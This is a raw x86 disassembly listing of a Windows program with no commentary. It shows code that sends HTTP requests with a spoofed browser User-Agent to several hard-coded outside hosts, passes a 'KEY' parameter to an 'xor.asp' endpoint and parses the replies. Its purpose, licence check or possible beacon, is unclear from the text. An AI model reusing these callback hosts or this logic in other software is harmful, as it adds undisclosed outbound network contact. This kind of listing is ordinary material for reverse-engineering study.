lea eax, [ebp - 0xa0]
push eax
mov dword [ebp - 0xa4], 0
push 0
lea eax, [ebp - 0xa4]
push eax
mov dword [ebp - 0xa8], 0
push 0
lea eax, [ebp - 0xa8]
push eax
mov dword [ebp - 0xac], 0
push 0
push dword [ebp - 0xac]
lea eax, [ebp - 0x88]
push eax
call fcn.00407adf
mov dword [ebp - 0xb0], eax
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x415263
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0xa8]
test ebx, ebx
je 0x415276
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0xa4]
test ebx, ebx
je 0x415289
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x41529c
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4152af
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x98]
test ebx, ebx
je 0x4152c2
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x4152d5
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x8c]
test ebx, ebx
je 0x4152e8
push ebx
call fcn.00432e91
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xb0]
test eax, eax
jne 0x4152fe
mov eax, 0x524d8b
push eax
push 1
mov ebx, 0x434d30
call fcn.00432e85
add esp, 0x10
mov dword [ebp - 0xb4], eax
mov ebx, dword [ebp - 0xb0]
test ebx, ebx
je 0x41532a
push ebx
call fcn.00432e91
add esp, 4
mov eax, dword [ebp - 0xb4]
push eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x415341
push ebx
call fcn.00432e91
add esp, 4
pop eax
mov dword [ebp - 0x28], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.self.location
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x415376
mov eax, 0x524deb
push eax
push 4
mov ebx, 0x4338e0
call fcn.00432e85
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x4155de
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x524ecd
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, str.self.location_
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00402a47
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x4153e5
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x4153f5
push ebx
call fcn.00432e91
add esp, 4
push dword [ebp - 0x84]
push str.http:__www.mmwzpt.cn
mov ecx, 2
call fcn.00401177
add esp, 8
mov dword [ebp - 0x88], eax
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x415426
push ebx
call fcn.00432e91
add esp, 4
push 1
push 8
mov dword [ebp - 0x8c], 0
push 0
lea eax, [ebp - 0x8c]
push eax
mov dword [ebp - 0x90], 0
push 0
lea eax, [ebp - 0x90]
push eax
mov dword [ebp - 0x94], 0
push 0
push dword [ebp - 0x94]
mov dword [ebp - 0x98], 0
push 0
lea eax, [ebp - 0x98]
push eax
push 1
mov eax, str.User_Agent:_Mozilla_5.0__Windows_NT_6.1__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_41.0.2272.89_Safari_537.36
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
mov dword [ebp - 0xa0], 0
push 0
lea eax, [ebp - 0xa0]
push eax
mov dword [ebp - 0xa4], 0
push 0
lea eax, [ebp - 0xa4]
push eax
mov dword [ebp - 0xa8], 0
push 0
lea eax, [ebp - 0xa8]
push eax
mov dword [ebp - 0xac], 0
push 0
push dword [ebp - 0xac]
lea eax, [ebp - 0x88]
push eax
call fcn.00407adf
mov dword [ebp - 0xb0], eax
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x4154fc
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0xa8]
test ebx, ebx
je 0x41550f
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0xa4]
test ebx, ebx
je 0x415522
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x415535
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x415548
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x98]
test ebx, ebx
je 0x41555b
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x41556e
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x8c]
test ebx, ebx
je 0x415581
push ebx
call fcn.00432e91
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xb0]
test eax, eax
jne 0x415597
mov eax, 0x524d8b
push eax
push 1
mov ebx, 0x434d30
call fcn.00432e85
add esp, 0x10
mov dword [ebp - 0xb4], eax
mov ebx, dword [ebp - 0xb0]
test ebx, ebx
je 0x4155c3
push ebx
call fcn.00432e91
add esp, 4
mov eax, dword [ebp - 0xb4]
push eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4155da
push ebx
call fcn.00432e91
add esp, 4
pop eax
mov dword [ebp - 0x28], eax
push 0x524deb
push dword [ebp - 0x28]
call fcn.0040104f
add esp, 8
cmp eax, 0
jne 0x4157a9
push dword [ebp - 0x24]
push 0x525800
mov ecx, 2
call fcn.00401177
add esp, 8
mov dword [ebp - 0x74], eax
push 1
push 8
mov dword [ebp - 0x78], 0
push 0
lea eax, [ebp - 0x78]
push eax
mov dword [ebp - 0x7c], 0
push 0
lea eax, [ebp - 0x7c]
push eax
mov dword [ebp - 0x80], 0
push 0
push dword [ebp - 0x80]
mov dword [ebp - 0x84], 0
push 0
lea eax, [ebp - 0x84]
push eax
push 1
mov eax, str.User_Agent:_Mozilla_5.0__Windows_NT_6.1__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_41.0.2272.89_Safari_537.36
mov dword [ebp - 0x88], eax
lea eax, [ebp - 0x88]
push eax
mov dword [ebp - 0x8c], 0
push 0
lea eax, [ebp - 0x8c]
push eax
mov dword [ebp - 0x90], 0
push 0
lea eax, [ebp - 0x90]
push eax
mov dword [ebp - 0x94], 0
push 0
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x98], 0
push 0
push dword [ebp - 0x98]
lea eax, [ebp - 0x74]
push eax
call fcn.00407adf
mov dword [ebp - 0x9c], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x4156cd
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x4156e0
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x4156f3
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x8c]
test ebx, ebx
je 0x415706
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x415719
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x41572c
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x41573c
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x41574c
push ebx
call fcn.00432e91
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x9c]
test eax, eax
jne 0x415762
mov eax, 0x524d8b
push eax
push 1
mov ebx, 0x434d30
call fcn.00432e85
add esp, 0x10
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x41578e
push ebx
call fcn.00432e91
add esp, 4
mov eax, dword [ebp - 0xa0]
push eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4157a5
push ebx
call fcn.00432e91
add esp, 4
pop eax
mov dword [ebp - 0x28], eax
push 0x524deb
push dword [ebp - 0x28]
call fcn.0040104f
add esp, 8
cmp eax, 0
jne 0x415979
call fcn.00406ac4
push dword [ebp - 0x24]
push str.http:__180.169.17.194_mmrj_xor.asp_ActionupsuccessKEY
mov ecx, 2
call fcn.00401177
add esp, 8
mov dword [ebp - 0x74], eax
push 1
push 8
mov dword [ebp - 0x78], 0
push 0
lea eax, [ebp - 0x78]
push eax
mov dword [ebp - 0x7c], 0
push 0
lea eax, [ebp - 0x7c]
push eax
mov dword [ebp - 0x80], 0
push 0
push dword [ebp - 0x80]
mov dword [ebp - 0x84], 0
push 0
lea eax, [ebp - 0x84]
push eax
push 1
mov eax, str.User_Agent:_Mozilla_5.0__Windows_NT_6.1__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_41.0.2272.89_Safari_537.36
mov dword [ebp - 0x88], eax
lea eax, [ebp - 0x88]
push eax
mov dword [ebp - 0x8c], 0
push 0
lea eax, [ebp - 0x8c]
push eax
mov dword [ebp - 0x90], 0
push 0
lea eax, [ebp - 0x90]
push eax
mov dword [ebp - 0x94], 0
push 0
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x98], 0
push 0
push dword [ebp - 0x98]
lea eax, [ebp - 0x74]
push eax
call fcn.00407adf
mov dword [ebp - 0x9c], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x41589d
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x4158b0
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x4158c3
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x8c]
test ebx, ebx
je 0x4158d6
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x4158e9
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x4158fc
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x41590c
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x41591c
push ebx
call fcn.00432e91
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x9c]
test eax, eax
jne 0x415932
mov eax, 0x524d8b
push eax
push 1
mov ebx, 0x434d30
call fcn.00432e85
add esp, 0x10
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x41595e
push ebx
call fcn.00432e91
add esp, 4
mov eax, dword [ebp - 0xa0]
push eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x415975
push ebx
call fcn.00432e91
add esp, 4
pop eax
mov dword [ebp - 0x28], eax
push 0x524deb
push dword [ebp - 0x28]
call fcn.0040104f
add esp, 8
cmp eax, 0
jne 0x415b44
push dword [ebp - 0x24]
push str.http:__www.mmtp.com.cn_mmrj_xor.asp_ActionupsuccessKEY
mov ecx, 2
call fcn.00401177
add esp, 8
mov dword [ebp - 0x74], eax
push 1
push 8
mov dword [ebp - 0x78], 0
push 0
lea eax, [ebp - 0x78]
push eax
mov dword [ebp - 0x7c], 0
push 0
lea eax, [ebp - 0x7c]
push eax
mov dword [ebp - 0x80], 0
push 0
push dword [ebp - 0x80]
mov dword [ebp - 0x84], 0
push 0
lea eax, [ebp - 0x84]
push eax
push 1
mov eax, str.User_Agent:_Mozilla_5.0__Windows_NT_6.1__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_41.0.2272.89_Safari_537.36
mov dword [ebp - 0x88], eax
lea eax, [ebp - 0x88]
push eax
mov dword [ebp - 0x8c], 0
push 0
lea eax, [ebp - 0x8c]
push eax
mov dword [ebp - 0x90], 0
push 0
lea eax, [ebp - 0x90]
push eax
mov dword [ebp - 0x94], 0
push 0
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x98], 0
push 0
push dword [ebp - 0x98]
lea eax, [ebp - 0x74]
push eax
call fcn.00407adf
mov dword [ebp - 0x9c], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x415a68
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x415a7b
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x415a8e
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x8c]
test ebx, ebx
je 0x415aa1
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x415ab4
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x415ac7
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x415ad7
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x415ae7
push ebx
call fcn.00432e91
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x9c]
test eax, eax
jne 0x415afd
mov eax, 0x524d8b
push eax
push 1
mov ebx, 0x434d30
call fcn.00432e85
add esp, 0x10
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x415b29
push ebx
call fcn.00432e91
add esp, 4
mov eax, dword [ebp - 0xa0]
push eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x415b40
push ebx
call fcn.00432e91
add esp, 4
pop eax
mov dword [ebp - 0x28], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x52595c
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x415b75
mov eax, 0x524deb
push eax
push 4
mov ebx, 0x4338e0
call fcn.00432e85
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
jne 0x415ce1
call fcn.00406ac4
push 0
mov ebx, 0x435490
call fcn.00432e85
add esp, 4
push reloc.WS2_32.dll_closesocket
push edx
push eax
push 1
mov ebx, 0x4353c0
call fcn.00432e85
add esp, 0x10
mov dword [ebp - 0x7c], eax
push 0x80000601
push 0x40000000
push 0
fild dword [ebp - 0x7c]
fstp qword [ebp - 0x84]
push 0x80000601
push dword [ebp - 0x80]
push dword [ebp - 0x84]
push 2
mov ebx, 0x4331a0
call fcn.00432e85
add esp, 0x1c
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x90], edx
fld qword [ebp - 0x94]
ftst
fnstsw ax
test ah, 1
je 0x415c1d
fchs
fcomp qword [0x5254fb]
fnstsw ax
test ah, 0x41
je 0x415cdc
inc dword [0x5f2c94]
fild dword [0x5f2c90]
fstp qword [ebp - 0x78]
fld qword [ebp - 0x78]
fild dword [0x5f2c78]
fstp qword [ebp - 0x80]
fadd qword [ebp - 0x80]
fstp qword [ebp - 0x88]
fld qword [ebp - 0x88]
call fcn.004011d3
mov dword [0x5f2c90], eax
push 0x80000301
push 0
push dword [0x5f2c90]
push 1
mov ebx, 0x434d30
call fcn.00432e85
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0
push dword [ebp - 0x74]
push 0xffffffffffffffff
push 8
push 0x16019850
push 0x52010001
call fcn.00432e9d
add esp, 0x18
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x415caf
push ebx
call fcn.00432e91
add esp, 4
push reloc.WS2_32.dll_connect
push 0
push 0x525960
push 0x10005
push 0x16010003
push 0x52010001
push 2
mov ebx, 0x436540
call fcn.00432e85
add esp, 0x1c
jmp 0x418b11
push str.Atimeerr
push dword [ebp - 0x28]
call fcn.0040104f
add esp, 8
cmp eax, 0
jne 0x415d2c
push reloc.WS2_32.dll_connect
push 0
push 0x52597d
push 0x10005
push 0x16010003
push 0x52010001
push 2
mov ebx, 0x436540
call fcn.00432e85
add esp, 0x1c
jmp 0x418b11
mov dword [0x5f2c94], 0
mov dword [0x5f2c90], 0
push 0x80000301
push 0
push dword [0x5f2c90]
push 1
mov ebx, 0x434d30
call fcn.00432e85
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0
push dword [ebp - 0x74]
push 0xffffffffffffffff
push 8
push 0x16019850
push 0x52010001
call fcn.00432e9d
add esp, 0x18
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x415d8d
push ebx
call fcn.00432e91
add esp, 4
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x5259cc
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x52595c
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00402a47
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x415ddc
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x415dec
push ebx
call fcn.00432e91
add esp, 4
mov eax, dword [ebp - 0x84]
push eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x415e03
push ebx
call fcn.00432e91
add esp, 4
pop eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x52576a
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x5259cc
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00402a47
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x415e56
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x415e66
push ebx
call fcn.00432e91
add esp, 4
mov eax, dword [ebp - 0x84]
push eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x415e7d
push ebx
call fcn.00432e91
add esp, 4
pop eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x5259d0
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x52576a
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00402a47
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x415ed0
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x415ee0
push ebx
call fcn.00432e91
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x84]
test eax, eax
jne 0x415ef6
mov eax, 0x524deb
push eax
push 1
mov ebx, 0x433b30
call fcn.00432e85
add esp, 0x10
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x88], edx
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x415f28
push ebx
call fcn.00432e91
add esp, 4
push 0x80000601
push dword [ebp - 0x88]
push dword [ebp - 0x8c]
push 1
mov ebx, 0x433d90
call fcn.00432e85
add esp, 0x10
mov dword [0x5f2c9c], eax
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x5259d4
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x5259d0
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00402a47
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x415f9f
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x415faf
push ebx
call fcn.00432e91
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x84]
test eax, eax
jne 0x415fc5
mov eax, 0x524deb
push eax
push 1
mov ebx, 0x433d90
call fcn.00432e85
add esp, 0x10
mov dword [ebp - 0x88], eax
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x415ff1
push ebx
call fcn.00432e91
add esp, 4
mov eax, dword [ebp - 0x88]
mov dword [0x5f2ca0], eax
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x5259d8
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x5259d4
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00402a47
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x41604b
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x41605b
push ebx
call fcn.00432e91
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x84]
test eax, eax
jne 0x416071
mov eax, 0x524deb
push eax
push 1
mov ebx, 0x433d90
call fcn.00432e85
add esp, 0x10
mov dword [ebp - 0x88], eax
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x41609d
push ebx
call fcn.00432e91
add esp, 4
mov eax, dword [ebp - 0x88]
mov dword [0x5f2ca4], eax
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x5259dc
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x5259d8
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00402a47
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x4160f7
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x416107
push ebx
call fcn.00432e91
add esp, 4
mov eax, dword [ebp - 0x84]
push eax
mov ebx, dword [0x5f2ca8]
test ebx, ebx
je 0x416121
push ebx
call fcn.00432e91
add esp, 4
pop eax
mov dword [0x5f2ca8], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
mov ebx, 6
call fcn.004011fa
push reloc.WS2_32.dll_connect
push 0
push 0x5259e0
push reloc.WS2_32.dll_connect
push 0
push 0x5259e2
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5f2ca8]
test eax, eax
jne 0x41616a
mov eax, 0x524deb
push eax
push 6
mov ebx, 0x434180
call fcn.00432e85
add esp, 0x4c
mov dword [ebp - 0x74], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
mov ebx, 6
call fcn.004011fa
push reloc.WS2_32.dll_connect
push 0
push 0x525773
push reloc.WS2_32.dll_connect
push 0
push 0x5259e8
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x74]
test eax, eax
jne 0x4161c1
mov eax, 0x524deb
push eax
push 6
mov ebx, 0x434180
call fcn.00432e85
add esp, 0x4c
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x4161e7
push ebx
call fcn.00432e91
add esp, 4
mov eax, dword [ebp - 0x78]
push eax
mov ebx, dword [0x5f2ca8]
test ebx, ebx
je 0x4161fe
push ebx
call fcn.00432e91
add esp, 4
pop eax
mov dword [0x5f2ca8], eax
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x5259eb
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x5259dc
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00402a47
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x416253
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x416263
push ebx
call fcn.00432e91
add esp, 4
mov eax, dword [ebp - 0x84]
push eax
mov ebx, dword [0x5f2cac]
test ebx, ebx
je 0x41627d
push ebx
call fcn.00432e91
add esp, 4
pop eax
mov dword [0x5f2cac], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
mov ebx, 6
call fcn.004011fa
push reloc.WS2_32.dll_connect
push 0
push 0x5259e0
push reloc.WS2_32.dll_connect
push 0
push 0x5259e2
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5f2cac]
test eax, eax
jne 0x4162c6
mov eax, 0x524deb
push eax
push 6
mov ebx, 0x434180
call fcn.00432e85
add esp, 0x4c
mov dword [ebp - 0x74], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
mov ebx, 6
call fcn.004011fa
push reloc.WS2_32.dll_connect
push 0
push 0x525773
push reloc.WS2_32.dll_connect
push 0
push 0x5259e8
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x74]
test eax, eax
jne 0x41631d
mov eax, 0x524deb
push eax
push 6
mov ebx, 0x434180
call fcn.00432e85
add esp, 0x4c
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x416343
push ebx
call fcn.00432e91
add esp, 4
mov eax, dword [ebp - 0x78]
push eax
mov ebx, dword [0x5f2cac]
test ebx, ebx
je 0x41635a
push ebx
call fcn.00432e91
add esp, 4
pop eax
mov dword [0x5f2cac], eax
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x5259ef
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x5259eb
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00402a47
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x4163af
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x4163bf
push ebx
call fcn.00432e91
add esp, 4
push 0
push dword [ebp - 0x84]
push 0xffffffffffffffff
push 8
push 0x160100e8
push 0x52010001
call fcn.00432e9d
add esp, 0x18
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x4163f0
push ebx
call fcn.00432e91
add esp, 4
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x5259f3
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x5259ef
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00402a47
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x41643f
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x41644f
push ebx
call fcn.00432e91
add esp, 4
push 0
push dword [ebp - 0x84]
push 0xffffffffffffffff
push 8
push 0x160198cf
push 0x52010001
call fcn.00432e9d
add esp, 0x18
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x416480
push ebx
call fcn.00432e91
add esp, 4
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x5259f7
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x5259f3
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00402a47
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x4164cf
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x4164df
push ebx
call fcn.00432e91
add esp, 4
mov eax, dword [ebp - 0x84]
push eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x4164f6
push ebx
call fcn.00432e91
add esp, 4
pop eax
mov dword [ebp - 0x34], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
mov ebx, 6
call fcn.004011fa
push reloc.WS2_32.dll_connect
push 0
push 0x5259e0
push reloc.WS2_32.dll_connect
push 0
push 0x5259e2
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x41653b
mov eax, 0x524deb
push eax
push 6
mov ebx, 0x434180
call fcn.00432e85
add esp, 0x4c
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
push eax
